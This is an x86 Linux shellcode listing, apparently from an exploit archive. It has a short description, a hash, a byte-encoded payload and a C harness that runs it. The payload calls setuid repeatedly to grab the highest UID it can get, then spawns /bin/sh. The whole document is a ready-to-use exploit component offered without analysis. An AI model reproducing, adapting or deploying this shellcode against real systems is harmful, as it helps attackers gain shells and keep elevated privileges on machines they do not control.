A shellcode that automatically obtains the highest available uid to setuid().
4992fdaec9c45eea8c9813a40f77d568c2c61c9efef684ef291db214b197d926
/* Shellcode will find its own highest available UID */
/* by demy@dtors and bob@dtors */
char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x17\xcd\x80\x3d\xff\xff\xff\xff"
"\x72\x04\x43\x41\xeb\xef\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24"
"\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
int main()
{
void (*func)();
printf("Size of shellcode: %d bytes.\n", sizeof(shellcode)-1);
func = (void (*)()) &shellcode;
func();
}